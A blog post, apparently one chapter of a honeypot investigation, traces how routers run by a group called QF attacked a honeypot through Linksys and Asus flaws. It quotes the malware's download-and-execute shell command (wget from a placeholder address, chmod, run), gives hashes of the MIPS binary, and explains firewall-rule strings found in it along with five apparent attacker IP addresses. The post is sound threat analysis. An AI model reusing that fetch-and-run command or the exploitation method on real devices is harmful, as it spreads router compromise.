Chapter Two: The Binary

In a three week period starting in mid-June, my honeypot was exploited 27 times by 25 different IP addresses. It is now known that routers compromised by the QF group are directed to scan and try to exploit additional routers. The 25 IP addresses in this set were not forged or spoofed, because a TCP connection was required to download the next program via wget. Out of the 25 routers that spread the infection during these three weeks, 11 routers were located in the U.S.; three routers were located in Malaysia; two routers were located in Israel; and one router each was located in Australia, Belgium, Bulgaria, India (at a police agency), Macao, Russia, Ukraine and Vietnam.

In each case, the attacking router would first try to exploit a Linksys vulnerability, CVE-2013-5122. When that didn’t work, the same IP address would send the poison packet to UDP port 9999 a few minutes later, a poisoned packet targeting a vulnerability in Asus routers, CVE-2014-9583. The embedded shellscript in the poisoned UDP packet always had the same structure:

sh -c "cd /tmp ; rm -f .nttpd ; wget -O .nttpd http:// [ip] :[port] ; chmod +x .nttpd ; ./.nttpd"

Strangely, most of the time the TCP port designated for the download was port 3344, however 20% of the time the TCP port designated for the download was port 3384.

The first few times I observed a wget command, I attempted to retrieve the file, however the download failed. I concluded that my honeypot had to initiate the download immediately after receiving the poisoned packet.

Downloading the ELF Binary

This was the very first time I retrieved the file. This file was the program the QF group directed the victim to start running. I ran some basic tests on the file to get its hashes and file type.

Test Value
MD5 7ca9f378ca7650d79b478595df2d2681
SHA-1 3541cbece0c80efc172b94cd80f67c94d1122d87
file ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), stripped

This file was an executable binary program, intended for the MIPS microarchitecture. So I knew for certain the QF group was targeting, and had programs to run on, embedded devices like routers. The file is databased by VirusTotal and had a detection rate of 2/56 in July. In addition, there is a detailed automated report here.

I am not a malware analyst, but I looked at the ASCII plain text strings in the binary program, and the following strings stood out:

  1. INPUT -p udp --dport %u -j ACCEPT
  2. INPUT -p udp --dport 9999 -j DROP
  3. INPUT -p tcp -m multiport --dport 80,8080 -j DROP
  4. INPUT -s 109.206.177.16 -j ACCEPT
  5. INPUT -s 50.77.24.41 -j ACCEPT
  6. INPUT -s 109.206.186.250 -j ACCEPT
  7. INPUT -s 91.217.90.49 -j ACCEPT
  8. INPUT -s 91.217.90.19 -j ACCEPT

The above strings were fragments of iptables firewall rules. iptables is the firewall used on modern Linux operating systems, including embedded systems.

# Rule Explanation
1 INPUT -p udp --dport %u -j ACCEPT Allowed any traffic destined for one specific UDP port
2 INPUT -p udp --dport 9999 -j DROP Rejected any traffic trying to send data to the vulnerable Asus infosvr service
3 INPUT -p tcp -m multiport --dport 80,8080 -j DROP Rejected any traffic trying to use the router’s web management interface
4 INPUT -s 109.206.177.16 -j ACCEPT Allowed any traffic through the firewall from these five IP addresses
5 INPUT -s 50.77.24.41 -j ACCEPT
6 INPUT -s 109.206.186.250 -j ACCEPT
7 INPUT -s 91.217.90.49 -j ACCEPT
8 INPUT -s 91.217.90.19 -j ACCEPT

It appeared that, if this program was run on a victim router, it would create firewall rules that would block the same ports that QF used to break in originally. Meaning, the QF cyber operators were selfish, once a vulnerable router was found and compromised, QF did not want to share this new resource with anyone else. Also, the firewall rules allowed traffic from five IP addresses. This suggested that these addresses were, at one point in time, under control of the QF cyber operators.

I suspected the program had more functionality, but I would need some assistance to find out what else the program could do.

To be continued in chapter 3…

One thought on “Chapter Two: The Binary

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s